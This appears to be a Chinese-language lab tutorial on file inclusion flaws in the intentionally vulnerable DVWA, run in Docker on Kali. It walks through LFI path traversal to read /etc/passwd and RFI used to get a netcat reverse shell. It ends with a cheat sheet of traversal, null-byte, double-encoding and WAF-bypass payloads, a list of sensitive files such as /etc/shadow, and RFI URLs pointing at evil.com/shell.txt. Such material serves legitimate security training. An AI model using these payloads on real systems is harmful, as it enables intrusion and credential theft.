1、 前言
程式開發人員一般會把重複使用的函數寫到單個文件中,需要使用某個函數時直接調用此文件,而無需再次編寫,這種文件調用的過程一般被稱為「File Inclusion」。
程式開發人員一般希望代碼更靈活,所以將被包含的文件設置為變量,用來進行動態調用,但正是這種靈活性,從而導致客戶端可以調用一個惡意文件,造成文件包含漏洞。
2、 測試環境
作業系統 | 版本 | 安裝記憶體 | 系統類型 | 權限 |
Kali | 5.2.0 | 2GB | 64位元 | root |
3、 DVWA環境架設
1、 環境介紹
DVWA 全名叫 Damn Vulnerable Web App,是一個 PHP + MySQL 架設起來的環境,可以練習、測試自已對網頁弱點的專業知織如何,經由這環境的洗禮加強安全觀念。
本篇使用「Kali Linux」與「Docker」服務架設DVWA做為練習環境。
2、 Docker下載及安裝
- 利用Kali apt軟體管理套件,下載「Docker」。
- 安裝完成後,下一步輸入指令「service docker start」啟動Docker服務。
- 輸入指令「docker search dvwa」列出包含DVWA的映像檔。
- 輸入指令「docker pull citizenstig/dvwa」,將映像「citizenstig/dvwa」
下載到本地,作為我們架設的DVWA映像。
- 輸入指令「docker images」查看現在本機有哪些Docker 映像檔。
- 輸入指令「docker run –d –p 80:80 citizenstig/dvwa」將映像檔啟動在80 port並在背景執行。
- 輸入指令「docker ps」可查看目前已啟動的容器進程。
- 完成環境架設,瀏覽器輸入本機IP即可前往DVWA頁面。
1、 手法利用
1、 LFI介紹與應用
LFI代表「本地文件包含Local File Inclusion」,產生的原因是程式設計師未對用戶可控參數進行輸入檢查,此漏洞的影響可能導致洩露伺服器上的敏感文件等。若攻擊者能夠通過其他方式在Web服務器上放置代碼,那麼他們便可以執行任意命令。註:目錄遍歷攻擊也稱為本地文件包含或LFI。
第一個展示範例是DVWA上的本地文件包含漏洞,點擊網頁左側的 「File Inclusion」,前往「Vulnerability: File Inclusion」頁面。
- 點擊頁面下方的「View Source」按鈕,查看網頁原始碼,因未驗證參數「page」導致漏洞產生。
- 更改網址後方「page」參數的內容會顯示在「index.php」頁面上。
- 在包含的文件路徑中添加點斜線「../」,則會將工作目錄從目錄樹下移一級,藉此猜出到達etc目錄需要多少級,就可以使用以下URL到達etc目錄並查看passwd文件。
註: DVWA安裝在Linux系統上,使用文件包含漏洞獲取敏感文件「/etc/passwd」。
2、 RFI介紹與應用
RFI代表「遠程文件包含Remote File Inclusion」。如果LFI包含本地系統上儲存的文件,則RFI包含來自遠程位置上的文件。嘗試透過page參數中輸入外部URL在DVWA中包含遠程文件。
- 於網址後方參數「page」添加任一網址,確認受害端頁面異常顯示其他網站頁面,即表示該目標存在遠程文件包含漏洞,使攻擊者能讀取遠程文件,進而奪取受害端權限,如以下展示。
- 首先在攻擊端建構了一個惡意文件「exploit.php」,當受害端執行語句將透過 nc反連至監聽中主機。
- 輸入指令「python –m SimpleHTTPSever 8080」,利用python上的「SimpleHTTPServer」模組啟動簡易網頁伺服器,使惡意文件「exploit.php」可透過網頁瀏覽。
- 輸入指令「nc –lvnp 1234」開啟Reverse Shell監聽Port,使受害端利用剛剛構造的惡意文件以及網頁伺服器導向至監聽端口。
- 修改網址後方「page」參數的內容來包含遠程位置的文件,導向至臨時網頁伺服器的惡意文件「exploit.php」。
- 查看攻擊端nc監聽,已連接被害端回傳的Reverse Shell並獲取交互式外 殼。
1、 補充資料
測試Web伺服器是否存在本地文件包含(LFI)漏洞
- 使用常見頁面
- 使用「../ 」上一級目錄測試
- 直接讀取/etc/passwd文件(Linux)
基本LFI(空字節,雙重編碼和其他技巧):
http://example.com/index.php?page=etc/passwd
修改page參數為「/etc/passwd」
http://example.com/index.php?page=etc/passwd%00
於/etc/passwd目錄後加上截斷字元「%00」
截斷字元:具體原理是系統在對檔名的讀取時,如果遇到「%00」,就會認為讀取已結束,忽略後面字元判斷。
http://example.com/index.php?page=../../etc/passwd
透過多個「../」將目前路徑切換至根目錄後再跳轉至指定文件。
http://example.com/index.php?page=%252e%252e%252f
「../」的雙重編碼表示「%252e%252e%252f」
http://example.com/index.php?page=....//....//etc/passwd
一般網站可能阻擋「../」字串,可利用此技巧繞過網站防護WAF。
常用文件讀取
/etc/issue | 登陸提示文件 |
/etc/passwd | Linux 使用者的登入資訊 |
/etc/shadow | Linux 使用者的登入密碼 |
/etc/group | Linux使用者的群組 |
/etc/hosts | Linux 主機名和IP位址設定檔 |
/proc/version | Linux 內核版本資訊 |
基本RFI(空字節,雙重編碼和其他技巧):
http://example.com/index.php?page=http://evil.com/shell.txt
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
http://example.com/index.php?page=http://evil.com/shell.txt%00